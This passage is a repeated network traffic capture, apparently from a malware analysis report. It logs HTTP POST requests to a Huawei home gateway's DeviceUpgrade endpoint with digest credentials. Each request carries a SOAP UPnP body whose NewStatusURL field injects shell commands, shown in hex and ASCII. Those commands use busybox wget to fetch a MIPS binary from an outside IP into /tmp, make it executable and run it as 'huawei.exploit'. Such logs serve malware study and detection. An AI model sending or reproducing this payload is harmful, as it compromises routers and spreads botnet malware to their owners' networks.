61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
